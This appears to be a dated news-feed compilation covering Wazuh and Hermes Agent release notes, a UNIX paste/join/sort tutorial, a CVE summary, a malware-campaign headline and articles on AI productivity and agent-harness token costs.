Wazuh v5.0.0 Beta 4

Tue, 21 Jul 2026 14:50:03 +0200

What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination WARNINGs on stop/unavailable module by @lchico in #37372
Clarify security policy for pre-release versions and disclosure timeline by @vikman90 in #37423
Bump 5.0.0 branch by @wazuhci in #37429
wazuh-manager: Memory and copy-reduction improvements part 1 by @matigarciadev in #36979
Improve default cores detection by @LucioDonda in #37288
Standardize and verify Wazuh configuration documentation by @TomasTurina in #37411
Handle rootcheck removed tags by @rovogel in #37346
Update docs (agent) for the new password in manager by @Miguevrgo in #37420
Backport the workflow for generating pre-release agent issues to version 5.0.0 by @MarcelKemp in #37490
Upgrade 5.0.0 python dependencies by @jepalfer in #37361
Change indexer user name and password by @TomasTurina in #37502
Remove startup deprecation warning from cluster_control and agent_upgrade by @vikman90 in #37509
Change indexer username and password to wazuh-manager by @TomasTurina in #37520
Fix to improve fim_sync db performance. by @hernanvalenzuela in #37180
SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by @jr0me in #37353
Fix version comparison in indexer documents updates by @TomasTurina in #37498
Propagate sync errors to each module by @jpcerrone in #37212
Cache indexer credentials in clusterd by @TomasTurina in #37504
Standardize CHANGELOG format and keep prior versions in the bumper by @jotacarma90 in #37513
Warn on duplicate agent connection only when it persists by @jotacarma90 in #37493
Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by @anromerom in #37567
Add retry logic to indexer templates download by @TomasTurina in #37643
Reduce authd enrollment log severity for expected rejections by @jotacarma90 in #37540
Reduce memory usage when downloading VDP feed by @Antoniogm03 in #37375
Fix server-side version bump for disconnected agent metadata updates by @TomasTurina in #37647
Re-enable AWS Inspector integration tests in 5.0.0 by @MAnDumu in #37645
Fix sca internal limits by @rovogel in #37438
Silence untrustworthy FIM schema-validation errors during shutdown by @Nicogp in #37688
Fix spurious ERROR/WARNING logs during agent shutdown by @Nicogp in #37673
Fix daemon stats for analysisd by @NahuFigueroa97 in #37525
Resolve logging macro collisions and improve LogFn design (#37354) by @jotacarma90 in #37393
Enable authd in manager source-install integration test step by @jotacarma90 in #37693
Stop verify-agent-conf from falsely warning on agent-only wodle blocks, without breaking their validation by @vikman90 in #37680
Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by @hossam1522 in #35405
Lower connection socket error log to debug level in wazuh-agentd by @MAnDumu in #37685
Memory improvements part 2 by @NahuFigueroa97 in #37433
Fix make clean-deps failing when src/external is missing by @vikman90 in #37724
fix date schema validation error in scheduled metrics by @LucioDonda in #37703
Report failure when block-ip fails to block an IP by @lchico in #37439
Fix rename race on logcollector file status during shutdown by @Miguevrgo in #37695
Calibrate log levels in router and vulnerability_scanner by @jotacarma90 in #37731
Adds AR Windows binary extension fallback by @rjcausarano in #37496
Lower httpsrv C++ standard from 20 to 17 by @jotacarma90 in #37751
Add new indexer API roles mapping by @jepalfer in #37746
Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by @nbertoldo in #37430
Free rpm macro context to stop unbounded growth by @Nicogp in #37758
Report modulesSync failure as debug during agent shutdown by @anromerom in #37689
Report manager-not-ready sync failures as deferred by @anromerom in #37720
wazuh-engine: Indexer connector exponential backoff by @matigarciadev in #37756
Fix issue reference in the daemons stats changelog entry by @jotacarma90 in #37827

Full Changelog: v5.0.0-beta3...v5.0.0-beta4

AgentBaiting Campaign Uses 800 Fake AI Skills and MCP Servers to Deliver SmartLoader Malware

Tue, 21 Jul 2026 14:37:50 +0200

The post AgentBaiting Campaign Uses 800 Fake AI Skills and MCP Servers to Deliver SmartLoader Malware appeared first on Cyber Security News.

Atlassian: Why AI speeds up employees but not organizations

Tue, 21 Jul 2026 14:33:25 +0200

Presented by Atlassian

Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

Why AI speed isn’t translating into ROI

"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

How leaders can move AI from individual hack to team advantage

"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

HPR4687: UNIX Curio #11 - Merging Files

Tue, 21 Jul 2026 02:03:23 +0200

This show has been flagged as Clean by the host.

ether

This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.

I frequently find myself reaching for the cut utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart, paste , I don't employ it very often because I don't typically need its functionality.

This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 ( HPR episode 4657 ), I felt like maybe I had been too dismissive of the comm utility in that episode and should talk more about tools that are useful when managing lists.

I don't frequently find myself using paste ¹ , but can explain how it works. Briefly, it is a rough opposite of cut —when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the -d option. Another option is -s , which swaps rows and columns so that the contents of each named file would appear on one line. While paste itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.

Example of using paste to turn the output of ls into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The -1 is not required for the second ls command since that behavior is implied when output isn't going to a terminal. The -C option to ls usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to -C when output goes to a terminal.) If you want items ascending along rows like the paste example does, try ls -x instead.

$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6        arp     bnep    connector
dev     dev_mcast       dev_snmp6       fib_trie
fib_triestat    hci     icmp    icmp6
if_inet6        igmp    igmp6   ip6_flowlabel
ip6_mr_cache    ip6_mr_vif      ip_mr_cache     ip_mr_vif
ip_tables_matches       ip_tables_names ip_tables_targets       ipv6_route
l2cap   mcfilter        mcfilter6       netfilter
netlink netstat packet  protocols
psched  ptype   raw     raw6
rfcomm  route   rt6_stats       rt_acct
rt_cache        sco     snmp    snmp6
sockstat        sockstat6       softnet_stat    stat
tcp     tcp6    udp     udp6
udplite udplite6        unix    wireless
xfrm_stat
$ ls -C /proc/net
anycast6      if_inet6           l2cap      rfcomm        tcp
arp           igmp               mcfilter   route         tcp6
bnep          igmp6              mcfilter6  rt6_stats     udp
connector     ip6_flowlabel      netfilter  rt_acct       udp6
dev           ip6_mr_cache       netlink    rt_cache      udplite
dev_mcast     ip6_mr_vif         netstat    sco           udplite6
dev_snmp6     ip_mr_cache        packet     snmp          unix
fib_trie      ip_mr_vif          protocols  snmp6         wireless
fib_triestat  ip_tables_matches  psched     sockstat      xfrm_stat
hci           ip_tables_names    ptype      sockstat6
icmp          ip_tables_targets  raw        softnet_stat
icmp6         ipv6_route         raw6       stat
$ ls -x /proc/net
anycast6           arp              bnep               connector     dev
dev_mcast          dev_snmp6        fib_trie           fib_triestat  hci
icmp               icmp6            if_inet6           igmp          igmp6
ip6_flowlabel      ip6_mr_cache     ip6_mr_vif         ip_mr_cache   ip_mr_vif
ip_tables_matches  ip_tables_names  ip_tables_targets  ipv6_route    l2cap
mcfilter           mcfilter6        netfilter          netlink       netstat
packet             protocols        psched             ptype         raw
raw6               rfcomm           route              rt6_stats     rt_acct
rt_cache           sco              snmp               snmp6         sockstat
sockstat6          softnet_stat     stat               tcp           tcp6
udp                udp6             udplite            udplite6      unix
wireless           xfrm_stat

The paste command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do not necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes 962 and 4201 for some more background on the paste utility.

Example of using paste with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry.

$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278

Our second UNIX Curio for today is a utility called join ² , which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The -1 and -2 options can be used to join on a different field, and -o selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the -a option, but an actual empty string with separator won't be printed unless -o is also present and includes the field.

The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The -t option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If -t is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like tr if you wanted to have a different separator in the output.

The join utility might be an improvement over paste in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together join commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.

Example showing how join can be used with two tab-separated lists. The LC_ALL assignment forces join to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if -t were not specified, plist would be treated as having three fields because of the space separating the country code from the rest of the phone number.

$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name   Office
Alice   203
Carol   Lab6A
Dave    117
$ cat plist
@Name   Phone
Alice   +1 212-555-1234
Bob     +1 919-555-2345
Dave    +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Dave    117     +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     (none)  +1 919-555-2345
Carol   Lab6A   (none)
Dave    117     +1 212-555-1278

The brief description for join is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how join could be suitable for simple operations.

Our last UNIX Curio for today relates to the sort utility ³ . While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the -m option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does not matter; it is not required for the contents of the first file to start before the second, just that both are sorted.

$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave

Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command sort -m -u 2023list 2024list 2025list would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the -u option—it removes any duplicate entries.

It is probably no surprise that the sort utility appeared early on—it was in 1971's First Edition UNIX, though it didn't gain the merging functionality until Fifth Edition ⁴ in 1973. What did come as a shock to me is that both cut and paste didn't show up until 1980 with System III ⁵ , and were actually preceded by join , which was in Seventh Edition UNIX ⁶ from 1979. I assumed that at least cut would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just seems to have been with us forever.

As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the join utility or these features of paste and sort very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.

References:

Paste specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html
Join specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html
Sort specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html
A Research UNIX Reader: Fifth Edition sort manual page https://archive.org/details/a_research_unix_reader/page/n19/mode/1up
System III paste manual page https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1
Seventh Edition UNIX join manual page https://man.cat-v.org/unix_7th/1/join

Provide feedback on this episode.

CVE-2019-13990 | Oracle Communications Session Route Manager 8.2.0/8.2.1/8.2.2 xml external entity reference (Nessus ID 210560 / WID-SEC-2026-1608)

Tue, 21 Jul 2026 01:38:24 +0200

A vulnerability identified as critical has been detected in Oracle Communications Session Route Manager 8.2.0/8.2.1/8.2.2. Impacted is an unknown function. The manipulation leads to xml external entity reference. This vulnerability is referenced as CVE-2019-13990. Remote exploitation of the attack is possible. No exploit is available. You should upgrade the affected component.

Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy

Mon, 20 Jul 2026 23:48:13 +0200

Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness.

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design.

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry.

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency.

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation:

Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows.
Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed.
Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling.
Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance.

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design.

For enterprises, this reframes the "own-versus-rent" decision.

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice."

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6.

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.
Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents.
Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments.

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release

Mon, 20 Jul 2026 20:46:40 +0200

Hermes Agent v0.19.0 (v2026.7.20)

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)
The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)
Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)
Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)
Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)
Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)
A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)
One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)
New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)
Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)
Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)
Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
